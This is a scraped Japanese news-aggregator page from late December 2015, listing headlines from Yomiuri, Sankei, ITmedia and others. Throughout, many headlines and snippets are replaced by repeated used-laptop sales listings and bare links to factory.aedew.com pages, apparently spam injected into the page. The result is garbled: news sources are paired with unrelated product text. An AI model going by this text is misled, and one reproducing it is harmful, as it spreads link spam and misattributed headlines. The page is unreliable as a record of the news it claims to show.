onerror="this.parentNode.style.display='none'" style="left:0px" /></a></div><p>【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! ,中古パソコン ★超レアな15.6型フルHD液晶のレッツがちょっと訳ありで格安!★ Pasasonic Let's Note CF-B10 4GBメモリ Corei5 DVDマルチ フルHD 無線LAN HDMI USB3.0 リカバリ内蔵 Windows7pro 中古ノートパソコン 【MicrosoftOffice付(2003)】【中古】,【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! ,【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! ,中古パソコン ★SSD搭載!高性能モバイルノート★ DELL Latitude E6220 4GBメモリ Corei5 無線LAN 12.5型LED液晶 DVDマルチ Windows7Pro 中古ノートパソコン 【KingosftOffice付(2013)】 【中古】</span>...[<a href="http://headlines.yahoo.co.jp/hl?a=20151226-00050002-yom-soci" target="_blank">続きを読む</a>]</p> </div> </div><span class='debug' style='display:none;'><!--score: 70 --></span> <div class="item"> <div class="item_status"> <span class="link_num over100">398<span>コメント</span></span> <span class="date date_new">4 時間前  </span> <a href="http://headlines.yahoo.co.jp/hl?a=20151226-00000062-san-sctch" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div> <div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411305g51ex.html">http://factory.aedew.com/images/Core2Duo/020411305g51ex.html</a></div> </div> <span class='debug' style='display:none;'><!--score: 55 --></span> <div class="item"> <div class="item_status"> <span class="link_num over100">198<span>コメント</span></span> <span class="date date_new">5 時間前  </span> <a href="http://www.yomiuri.co.jp/national/20151226-OYT1T50002.html" target="_blank" class="item_direct"> - www.yomiuri.co.jp</a></div> <div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411025p44dg.html">http://factory.aedew.com/images/Core2Duo/020411025p44dg.html</a></div> </div> <span class='debug' style='display:none;'><!--score: 36 --></span> <div class="item"> <div class="item_status"> <span class="link_num over100">194<span>コメント</span></span> <span class="date date_new">6 時間前  </span> <a href="http://www.sankei.com/life/news/151226/lif1512260005-n1.html" target="_blank" class="item_direct"> - www.sankei.com</a></div> <div class="item_title"><a href="">【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! ,中古パソコン ★3GBメモリ搭載モバイルノートがオマケ付きでお買い得!★ 富士通 LIFEBOOK FMV-S8390 3GBメモリ 13.3型ワイド 160GB リカバリ内蔵 USB無線LAN 外付けDVD Windows7Pro 【MicrosoftOffice付(2007)】【中古】,Core2DuoE7300搭載 FUJITSU CELSIUS N460 Windows7 Radeon HD2400Pro実装 2GBメモリ DVDスーパーマルチ MicrosoftOffice 2010 【中古パソコン】【中古デスクトップ】 【中古】</a></div> </div> <span class='debug' style='display:none;'><!--score: 30 --></span> <div class="item"> <div class="item_status"> <span class="link_num over100">191<span>コメント</span></span> <span class="date date_new">3 時間前  </span> <a href="http://www.asahi.com/articles/ASHDT662ZHDTTPJB01B.html" target="_blank" class="item_direct"> - www.asahi.com</a></div> <div class="item_title"><a href="">【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! ,中古パソコン ★3DCADやゲームにも対応★ DELL Precision490 本体 4GBメモリ Xeon QuadroFX3450 DVDマルチ Windows7 中古デスクトップ 【MicrosoftOffice付(2007)】 【中古】</a></div> </div> <span class='debug' style='display:none;'><!--score: 29 --></span> <div class="more"><a href="http://www.yomiuri.co.jp/latestnews/?from=ygnav2">ニュース総合 をもっと見る</a></div> </div> <a name="area_2"></a> <div class="item_list_box " id="area_2"> <div class="list_title"> <div class="controler"></div> <h2><a href="http://factory.aedew.com/images/Core2Duo/020410573d00ul.html">http://factory.aedew.com/images/Core2Duo/020410573d00ul.html</a></h2> </div> <div class='pickup'><div class="item detail_item"> <div class="item_status"> <span class="link_num over100">146<span>コメント</span></span> <span class="date date_new">6 時間前  </span> <a href="http://www.sankei.com/politics/news/151226/plt1512260001-n1.html" target="_blank" class="item_direct"> - www.sankei.com</a></div> <div class="item_title"><a href="">【岸田外相訪韓】元慰安婦支援で日韓“折半”出資案が浮上 韓国の蒸し返しを封じる狙い(1/2ページ) - 産経ニュース</a></div> <div class="thumbnail"><a class="trimming imgbox" href="http://ceron.jp/url/www.sankei.com/politics/news/151226/plt1512260001-n1.html" style="width:120px;height:120px;"><img src="http://img.ceron.jp/3d712f4a9f0d5a17af803c20b36a4d9d8bec0ea2.jpg" width="120" height="170" onerror="this.parentNode.style.display='none'" style="left:0px" /></a></div><p>【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! ,中古パソコン ★Corei5搭載!東芝ワイドノート★ TOSHIBA dynabook Satellite L47 4GBメモリ Corei5 DVDマルチ USB無線LAN テンキー リカバリ内蔵 Windows7pro 中古ノートパソコン 【MicrosoftOffice付(2007)】【中古】,【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! ,中古パソコン ★Windows7大画面ワイドノート★ hp Compaq 6730S 2GBメモリ DVDマルチ 無線LAN対応 Windows7 中古ノートパソコン 【MicrosoftOffice付(2003)】 【中古】,【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! ,3Dゲーム対応 Geforce8600搭載 FUJITSU CELSIUS N450 Windows7 2GBメモリ DVDスーパーマルチ マイクロソフト?オフィス2003 【中古パソコン】【中古デスクトップ】 【中古】</span>...[<a href="http://www.sankei.com/politics/news/151226/plt1512260001-n1.html" target="_blank">続きを読む</a>]</p> </div> </div><span class='debug' style='display:none;'><!--score: 27 --></span> <div class="item"> <div class="item_status"> <span class="link_num over20">69<span>コメント</span></span> <span class="date date_new">7 時間前  </span> <a href="http://www.sankei.com/politics/news/151226/plt1512260002-n1.html" target="_blank" class="item_direct"> - www.sankei.com</a></div> <div class="item_title"><a href="">【辺野古移設問題】活動家を初の起訴 シュワブ前で機動隊員を蹴る 反対派の活動実態を解明へ(1/2ページ) - 産経ニュース</a></div> </div> <span class='debug' style='display:none;'><!--score: 16 --></span> <div class="item"> <div class="item_status"> <span class="link_num over100">129<span>コメント</span></span> <span class="date date_new">9 時間前  </span> <a href="http://www.yomiuri.co.jp/world/20151225-OYT1T50134.html" target="_blank" class="item_direct"> - www.yomiuri.co.jp</a></div> <div class="item_title"><a href="">【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! ,中古パソコン ★3GBメモリ搭載モバイルノートがオマケ付きでお買い得!★ 富士通 LIFEBOOK FMV-S8390 3GBメモリ 13.3型ワイド 160GB リカバリ内蔵 USB無線LAN 外付けDVD Windows7Pro 【MicrosoftOffice付(XP)】【中古】</a></div> </div> <span class='debug' style='display:none;'><!--score: 13.5 --></span> <div class="item"> <div class="item_status"> <span class="link_num over100">129<span>コメント</span></span> <span class="date date_new">9 時間前  </span> <a href="http://headlines.yahoo.co.jp/hl?a=20151225-00050134-yom-int" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div> <div class="item_title"><a href="/url/headlines.yahoo.co.jp/hl?a=20151225-00050134-yom-int">ソウル日本大使館前の少女像、韓国が移転を検討 (読売新聞) - Yahoo!ニュース</a></div> </div> <span class='debug' style='display:none;'><!--score: 13 --></span> <div class="item"> <div class="item_status"> <span class="link_num over20">86<span>コメント</span></span> <span class="date date_new">17 時間前  </span> <a href="http://headlines.yahoo.co.jp/hl?a=20151225-00000001-jct-soci" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div> <div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411502x00fy.html">http://factory.aedew.com/images/Core2Duo/020411502x00fy.html</a></div> </div> <span class='debug' style='display:none;'><!--score: 10 --></span> <div class="more"><a href="http://news.yahoo.co.jp/hl?c=bus">政治・経済 をもっと見る</a></div> </div> <a name="area_5"></a> <div class="item_list_box " id="area_5"> <div class="list_title"> <div class="controler"></div> <h2><a href="">IT・テクノロジー</a></h2> </div> <div class='pickup'><div class="item detail_item"> <div class="item_status"> <span class="link_num over20">24<span>コメント</span></span> <span class="date date_new">6 時間前  </span> <a href="http://pc.watch.impress.co.jp/docs/column/mobiler/20151226_737137.html" target="_blank" class="item_direct"> - pc.watch.impress.co.jp</a></div> <div class="item_title"><a href="">【モバイラーが憧れた名機を今風に蘇らせる】ソニー「バイオノート505エクストリーム」 ~最初にして最後の究極。これぞモバイラーのステータス - PC Watch</a></div> <div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/d4cd9a68ed5dd7ad42cacbc69a1cf4fe257d279e.jpg" width="160" height="120" onerror="this.parentNode.style.display='none'" style="left:-20px" /></a></div><p>HDDは東芝製の5mm厚の1.8インチタイプ。これもフレキケーブルで接続されている 天板および底面カバーだが、店頭モデルでは「<span>ニッケル強化カーボンモールド」、ソニースタイル専用の直販モデルでは「カーボンファイバー積層板」を採用するとされている。今回入手したのは店頭モデルで、前者を採用している。“ニッケル強化カーボンモ</span>...[<a href="http://pc.watch.impress.co.jp/docs/column/mobiler/20151226_737137.html" target="_blank">続きを読む</a>]</p> </div> </div><span class='debug' style='display:none;'><!--score: 4 --></span> <div class="item"> <div class="item_status"> <span class="link_num over3">15<span>コメント</span></span> <span class="date date_new">1 時間前  </span> <a href="http://akiba-pc.watch.impress.co.jp/docs/news/news/20151226_737187.html" target="_blank" class="item_direct"> - akiba-pc.watch.impress.co.jp</a></div> <div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411572l35ei.html">http://factory.aedew.com/images/Core2Duo/020411572l35ei.html</a></div> </div> <span class='debug' style='display:none;'><!--score: 3 --></span> <div class="item"> <div class="item_status"> <span class="link_num over20">97<span>コメント</span></span> <span class="date date_new">22 時間前  </span> <a href="http://www.itmedia.co.jp/news/articles/1512/25/news108.html" target="_blank" class="item_direct"> - www.itmedia.co.jp</a></div> <div class="item_title"><a href="">★Win7搭載モデルが激安★ 無線LANプレゼント IBM ThinkPad R51e 2GBメモリ 15型液晶 DVD鑑賞OK Windows7 マイクロソフト?オフィス2003 【中古ノートパソコン】 【中古】</a></div> </div> <span class='debug' style='display:none;'><!--score: 3 --></span> <div class="item"> <div class="item_status"> <span class="link_num over20">88<span>コメント</span></span> <span class="date date_new">20 時間前  </span> <a href="http://www.itmedia.co.jp/news/articles/1512/25/news130.html" target="_blank" class="item_direct"> - www.itmedia.co.jp</a></div> <div class="item_title"><a href="http://ceron.jp/url/www.itmedia.co.jp/news/articles/1512/25/news130.html">4文字しか使えないコミュニケーションアプリ「Ping」 - ITmedia ニュース</a></div> </div> <span class='debug' style='display:none;'><!--score: 2.5 --></span> <div class="item"> <div class="item_status"> <span class="link_num over3">13<span>コメント</span></span> <span class="date date_new">13 時間前  </span> <a href="http://akiba-pc.watch.impress.co.jp/docs/wakiba/find/20151225_737149.html" target="_blank" class="item_direct"> - akiba-pc.watch.impress.co.jp</a></div> <div class="item_title"><a href="">中古美品Aランク 東芝 dynabook T75 T75/RG サテンゴールド【15.6インチ】(Windows 8.1/Core i7 2.4GHz/メモリ8GB/HDD 1TB/Bluetooth/Wi-Fi) Microsoft Office Home & Business Premium付属1014sa,【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! </a></div> </div> <span class='debug' style='display:none;'><!--score: 1 --></span> <div class="more"><a href="">IT・テクノロジー をもっと見る</a></div> </div> <a name="area_7"></a> <div class="item_list_box " id="area_7"> <div class="list_title"> <div class="controler"></div> <h2><a href="">科学・学問</a></h2> </div> <div class="item"> <div class="item_status"> <span class="link_num over20">22<span>コメント</span></span> <span class="date date_new">3 時間前  </span> <a href="http://nlab.itmedia.co.jp/nl/articles/1512/26/news025.html" target="_blank" class="item_direct"> - nlab.itmedia.co.jp</a></div> <div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411498i95tu.html">http://factory.aedew.com/images/Core2Duo/020411498i95tu.html</a></div> </div> <span class='debug' style='display:none;'><!--score: 3 --></span> <div class="item"> <div class="item_status"> <span class="link_num over3">15<span>コメント</span></span> <span class="date date_new">13 時間前  </span> <a href="http://www.asahi.com/articles/ASHDT7KWMHDTPTIL02V.html" target="_blank" class="item_direct"> - www.asahi.com</a></div> <div class="item_title"><a href="">阪大院教授らの研究費不正経理、2.7億円 大学が発表:朝日新聞デジタル</a></div> </div> <span class='debug' style='display:none;'><!--score: 1 --></span> <div class="item"> <div class="item_status"> <span class="link_num over3">14<span>コメント</span></span> <span class="date date_new">14 時間前  </span> <a href="http://karapaia.livedoor.biz/archives/52207962.html" target="_blank" class="item_direct"> - karapaia.livedoor.biz</a></div> <div class="item_title"><a href="">中古パソコン ★Corei7搭載の上級モデル!良品です★ NEC VersaPro PC-VJ28H/D 4GBDDR3メモリ Corei7 DVDマルチ 無線LAN リカバリ内蔵 Windows7Pro 中古ノートパソコン 【MicrosoftOffice付(2010)】 【中古】</a></div> </div> <span class='debug' style='display:none;'><!--score: 1 --></span> <div class="more"><a href="">科学・学問 をもっと見る</a></div> </div> <a name="area_9"></a> <div class="item_list_box " id="area_9"> <div class="list_title"> <div class="controler"></div> <h2><a href="">2chまとめ</a></h2> </div> <div class='pickup'><div class="item detail_item"> <div class="item_status"> <span class="link_num over20">27<span>コメント</span></span> <span class="date date_new">7 時間前  </span> <a href="http://alfalfalfa.com/articles/140445.html" target="_blank" class="item_direct"> - alfalfalfa.com</a></div> <div class="item_title"><a href="">書店「Amazonばっかで本買うのやめてや!!」←これ | 2ちゃんねるスレッドまとめブログ - アルファルファモザイク</a></div> <div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/3b61c537fc58f529bf419a5c974cab5d82588790.jpg" width="213" height="120" onerror="this.parentNode.style.display='none'" style="left:-46px" /></a></div><p>14:風吹けば名無し@\(^o^)/2015/12/25(金) 10:07:08.94ID:28CoKVMbaXMAS.net焼<span>肉屋の名前みたい34:風吹けば名無し@\(^o^)/2015/12/25(金) 10:09:31.60ID:uAnL49f+0XMAS.net普通に本屋で買ってるぞ54:風吹けば名無し@\(^o^)/2015/12/25(金) 10</span>...[<a href="" target="_blank">続きを読む</a>]</p> </div> </div><span class='debug' style='display:none;'><!--score: 5 --></span> <div class="item"> <div class="item_status"> <span class="link_num over3">18<span>コメント</span></span> <span class="date date_new">2 時間前  </span> <a href="http://blog.esuteru.com/archives/8449829.html" target="_blank" class="item_direct"> - blog.esuteru.com</a></div> <div class="item_title"><a href="">【は?】「『仏滅』『大安』などが書かれたカレンダーを回収します。差別につながるので」 ← 意味不明すぎて理解できないんだが : はちま起稿</a></div> </div> <span class='debug' style='display:none;'><!--score: 4.5 --></span> <div class="item"> <div class="item_status"> <span class="link_num over20">66<span>コメント</span></span> <span class="date date_new">14 時間前  </span> <a href="http://blog.livedoor.jp/dqnplus/archives/1864971.html" target="_blank" class="item_direct"> - blog.livedoor.jp</a></div> <div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410484i49mg.html">http://factory.aedew.com/images/Core2Duo/020410484i49mg.html</a></div> </div> <span class='debug' style='display:none;'><!--score: 4.5 --></span> <div class="item"> <div class="item_status"> <span class="link_num over3">14<span>コメント</span></span> <span class="date date_new">2 時間前  </span> <a href="http://alfalfalfa.com/articles/140453.html" target="_blank" class="item_direct"> - alfalfalfa.com</a></div> <div class="item_title"><a href="">SEALDs「電車で携帯のゲームやるのは知能が低い」 | 2ちゃんねるスレッドまとめブログ - アルファルファモザイク</a></div> </div> <span class='debug' style='display:none;'><!--score: 3 --></span> <div class="item"> <div class="item_status"> <span class="link_num over3">16<span>コメント</span></span> <span class="date date_new">5 時間前  </span> <a href="http://blog.esuteru.com/archives/8449718.html" target="_blank" class="item_direct"> - blog.esuteru.com</a></div> <div class="item_title"><a href="">【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! ,★東芝のスリムノート 良品が安い!★ TOSHIBA Stellite T11 WindowsXP 東芝 【中古ノートパソコン】 【中古】</a></div> </div> <span class='debug' style='display:none;'><!--score: 2 --></span> <div class="item"> <div class="item_status"> <span class="link_num over3">14<span>コメント</span></span> <span class="date date_new">6 時間前  </span> <a href="http://blog.livedoor.jp/kinisoku/archives/4554064.html" target="_blank" class="item_direct"> - blog.livedoor.jp</a></div> <div class="item_title"><a href="">【画像】おい!クリスマスだしこの娘と野球拳しないかい:キニ速</a></div> </div> <span class='debug' style='display:none;'><!--score: 2 --></span> <div class="more"><a href="">2chまとめ をもっと見る</a></div> </div> <a name="area_10"></a> <div class="item_list_box " id="area_10"> <div class="list_title"> <div class="controler"></div> <h2><a href="">ネタ・話題・トピック</a></h2> </div> <div class='pickup'><div class="item detail_item"> <div class="item_status"> <span class="link_num over20">90<span>コメント</span></span> <span class="date date_new">15 時間前  </span> <a href="http://togetter.com/li/917078" target="_blank" class="item_direct"> - togetter.com</a></div> <div class="item_title"><a href="">【速報】クリスマスに新たな山下達郎伝説が生まれた!? 「Gの音が出ない」と開始90分後にライブを中止 - Togetterまとめ</a></div> <div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/9ff1006fb7b6091ba48b957edf5a63cce85e1079.jpg" width="120" height="159" onerror="this.parentNode.style.display='none'" style="left:0px" /></a></div><p>山下達郎盛岡コンサート、90分やったところでまさかの中止。 本人が喉の調子に納得出来ないとのこと。 来年に無料で再演しにくるとの<span>ことで、伝説に立ち合えたのはラッキーだが、クリスマスイブ聞けなかった。</span>...[<a href="" target="_blank">続きを読む</a>]</p> </div> </div><span class='debug' style='display:none;'><!--score: 6.5 --></span> <div class="item"> <div class="item_status"> <span class="link_num over20">21<span>コメント</span></span> <span class="date date_new">6 時間前  </span> <a href="http://nlab.itmedia.co.jp/nl/articles/1512/26/news015.html" target="_blank" class="item_direct"> - nlab.itmedia.co.jp</a></div> <div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410348d66qi.html">http://factory.aedew.com/images/Core2Duo/020410348d66qi.html</a></div> </div> <span class='debug' style='display:none;'><!--score: 4 --></span> <div class="item"> <div class="item_status"> <span class="link_num over3">15<span>コメント</span></span> <span class="date date_new">3 時間前  </span> <a href="http://togetter.com/li/917238" target="_blank" class="item_direct"> - togetter.com</a></div> <div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411192z91sj.html">http://factory.aedew.com/images/Core2Duo/020411192z91sj.html</a></div> </div> <span class='debug' style='display:none;'><!--score: 3 --></span> <div class="item"> <div class="item_status"> <span class="link_num over20">80<span>コメント</span></span> <span class="date">2015-12-25 12:31</span> <a href="http://togetter.com/li/916919" target="_blank" class="item_direct"> - togetter.com</a></div> <div class="item_title"><a href="">★ThinkPadの人気モバイル 良品★ Lenovo ThinkPad X200 2GBDDR3メモリ Core2Duo 無線LAN 250GBHDD Windows7 【MicrosoftOffice2010】【中古ノートパソコン】 【中古】</a></div> </div> <span class='debug' style='display:none;'><!--score: 2.5 --></span> <div class="item"> <div class="item_status"> <span class="link_num over20">62<span>コメント</span></span> <span class="date">2015-12-25 08:36</span> <a href="http://d.hatena.ne.jp/ikkou2otosata0/touch/20151225/1450992232" target="_blank" class="item_direct"> - d.hatena.ne.jp</a></div> <div class="item_title"><a href="">オッケー、キリスト。ところで、あたしの誕生日の話も聞いとく? - 私の時代は終わった。</a></div> </div> <span class='debug' style='display:none;'><!--score: 2 --></span> <div class="item"> <div class="item_status"> <span class="link_num over3">17<span>コメント</span></span> <span class="date date_new">12 時間前  </span> <a href="http://togetter.com/li/917157" target="_blank" class="item_direct"> - togetter.com</a></div> <div class="item_title"><a href="">【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! ,中古パソコン ★DVDの焼けるワイドノート ちょっと訳あり★ NEC VersaPro PC-VK22E 3GBDDR3メモリ DVDマルチ 無線LAN対応 Windows7Pro 中古ノートパソコン 【KingosftOffice付(2013)】 【中古】</a></div> </div> <span class='debug' style='display:none;'><!--score: 1.5 --></span> <div class="more"><a href="">ネタ・話題・トピック をもっと見る</a></div> </div> <script type="text/javascript"> //現在のセッティングを読み込み var setting = "ct:news:5;ct:society:5;ct:entertainment:5;ct:sports:5;ct:itnews:5;ct:international:3;ct:science:3;ct:odekake:3;ct:2ch:6;ct:neta:6;"; var setting_list = new Array(); setting_split = setting.split(";"); for (var i = 0; i < setting_split.length; i++) { if(!setting_split[i]){continue}; if(m = setting_split[i].match(/^([a-z]*):(.*):(d*)$/)){ setting_list[i+1] = new Array(m[1],m[2],m[3]); }else{ setting_list[i+1] = new Array(); } } controler_set(); </script> <!-- 以下カスタム用HTML --> <div id="edit_area_module" style="display:none;"> <div id="edit_area_AREAID" style="display:none;margin-bottom: 1em;"> <div class="list_title" style="text-align:right;font-size:85%;font-weight:100;"> <a href="javascript:void(0);" onclick="area_change_cancel(AREAID)">キャンセル</a> <div class="controler" style="display:none;"></div> </div> <div id="edit_area_inner_AREAID" style="border:8px solid #ccc;padding:3em 15%;font-size:90%;"> <h3>AREAID 番目のエリア</h3> <p>このエリアに表示するニュースを設定します。</p> <div id="edit_area_1_AREAID"> <select id="select_1_AREAID" onchange="edit_area_2(AREAID)" style="margin-top:1em;"> <option value="">▼表示内容を選んでください▼</option> <option value="ct">カテゴリから選ぶ</option> <option value="kw">任意のキーワードを指定する</option> </select> </div> <br /> <div id="edit_area_2ct_AREAID" style="display:none;"> <select id="select_2ct_AREAID"> <option value="">▼カテゴリを選んでください▼</option> <option value="all">すべての記事</option> <option value="news">ニュース総合</option> <option value="society">政治・経済</option> <option value="international">海外ニュース</option> <option value="entertainment">エンタメ</option> <option value="sports">スポーツ</option> <option value="itnews">IT・テクノロジー</option> <option value="science">科学・学問</option> <option value="odekake">おでかけ・イベント</option> <option value="2ch">2chまとめ</option> <option value="neta">ネタ・話題・トピック</option> <option value="movie">動画</option> <option value="other">その他のニュース</option> </select> </div> <div id="edit_area_2kw_AREAID" style="display:none;"> キーワードを入力してください。<input id="select_2kw_AREAID" type="text" value="KEYWORD" size="32" /><br /> <div style="font-size:85%;color:#666;background:#eee;padding:0.5em;margin:0.5em 0;"> 入力したキーワードにヒットするニュースが配信されます。<br /> <b>複数指定</b>「AAA BBB」:スペースで区切るとAAAかつBBBにマッチする記事を配信します。<br /> <b>OR指定</b>「AAA OR BBB」:AAAまたはBBBにマッチする記事を配信します。ORはパイプ(|)も可。<br /> <b>特定のサイトを指定</b>「site:[URL]」:特定のURLにマッチする記事を配信します。<br /> <b>除外指定</b>「-XXX」:マイナスを付けると「XXX」にマッチする記事を除外します。 </div> </div> <div id="edit_area_3num_AREAID" style="display:none;"> 表示する数:<select id="select_3num_AREAID">NUMLIST</select> </div> <br /> <div style="line-height:2.5;"> <input type="button" value=" 決定 " onclick="area_change_save(AREAID)" style="font-size:150%;"/><br /> <input type="button" value="キャンセル" onclick="area_change_cancel(AREAID)" /> <input type="button" value="このエリアを削除" onclick="area_delete(AREAID)" /> <input type="button" value="この下にエリアを追加" onclick="area_add(AREAID)" /> <br /> <input type="button" value="1つ上へ移動" onclick="area_move(AREAID,-1)" /> <input type="button" value="1つ下へ移動" onclick="area_move(AREAID,1)" /> </div> </div> </div> </div> <!-- カスタム用HTMLここまで --> <div id="top_guidance"> </div><div class='pagenavi'><a href=''>全カテゴリ横断</a> <a href=''>昨日のランキング</a> </div><script type="text/javascript">footerbox_ad();</script></div> </div> <div id="side_column"> <div id="side_column_inner"> <div id="sidefollow"> <script type="text/javascript">sidebox_ad1()</script> <div id="side_flash" style="margin-bottom:4px;"> <div class="list_title"><h2><a href="">速報</a></h2></div> <div class="item_list_box"><div class="item"> <div class="item_status"> <span class="link_num over20">21<span>コメント</span></span> <span class="date date_new">42 分前   </span> <a href="http://news.line.me/list/886887b5/63a4858e236b" target="_blank" class="item_direct"> - news.line.me</a></div> <div class="item_title"><a href="">2016年新ヒーロー戦隊は「動物戦隊ジュウオウジャー」 - LINE NEWS</a></div> </div> <div class="item"> <div class="item_status"> <span class="link_num over3">11<span>コメント</span></span> <span class="date date_new">42 分前   </span> <a href="http://news.line.me/list/886887b5/eee8981f1889" target="_blank" class="item_direct"> - news.line.me</a></div> <div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410454z78pc.html">http://factory.aedew.com/images/Core2Duo/020410454z78pc.html</a></div> </div> <div id="side_imgs" style="margin-bottom:4px;"> <div class="list_title"><h2><a href="">画像で見る主要ニュース</a></h2></div> <div class="item_list_box"><div class="item_box"> <div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/db592e52fb3695e73bb88902c6c90a5b239cd30b.jpg" width="120" height="120" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:0px" /></a></div> <div class="item_status"> <span class="link_num over500">506<span>コメント</span></span> <span class="date date_new">4 時間前  </span> <a href="http://headlines.yahoo.co.jp/hl?a=20151226-00050002-yom-soci" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div> <div class="item_title"><a href="">大安・仏滅…記載は不適切、県がカレンダー回収 (読売新聞) - Yahoo!ニュース</a></div> </div> <span class='debug' style='display:none;'><!--score: 67 --></span> <div class="item_box"> <div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/770aec9bed626d0714c63dd827bad4f4c20876b2.jpg" width="120" height="172" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:0px" /></a></div> <div class="item_status"> <span class="link_num over100">387<span>コメント</span></span> <span class="date date_new">4 時間前  </span> <a href="http://headlines.yahoo.co.jp/hl?a=20151226-00000062-san-sctch" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div> <div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410536e89yx.html">http://factory.aedew.com/images/Core2Duo/020410536e89yx.html</a></div> </div> <span class='debug' style='display:none;'><!--score: 28 --></span> <div class="item_box"> <div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/f2a5b22bc8e16c4289aaf7767c8ef71cce9c4104.jpg" width="120" height="129" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:0px" /></a></div> <div class="item_status"> <span class="link_num over100">134<span>コメント</span></span> <span class="date date_new">6 時間前  </span> <a href="http://headlines.yahoo.co.jp/hl?a=20151226-00000004-nksports-socc" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div> <div class="item_title"><a href="">柿谷曜一朗C大阪復帰 違約金大幅減少で完全移籍へ (日刊スポーツ) - Yahoo!ニュース</a></div> </div> <span class='debug' style='display:none;'><!--score: 26 --></span> <div class="item_box"> <div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/3d712f4a9f0d5a17af803c20b36a4d9d8bec0ea2.jpg" width="120" height="170" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:0px" /></a></div> <div class="item_status"> <span class="link_num over100">145<span>コメント</span></span> <span class="date date_new">6 時間前  </span> <a href="http://www.sankei.com/politics/news/151226/plt1512260001-n1.html" target="_blank" class="item_direct"> - www.sankei.com</a></div> <div class="item_title"><a href="">【2,000円 OFF】APPLE Mac Pro A1186 BT0/CT0 QC/Xeon 2X3.0GHz 8GB 500GB SD 2007年【中古品】6494【値下げセール】,【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 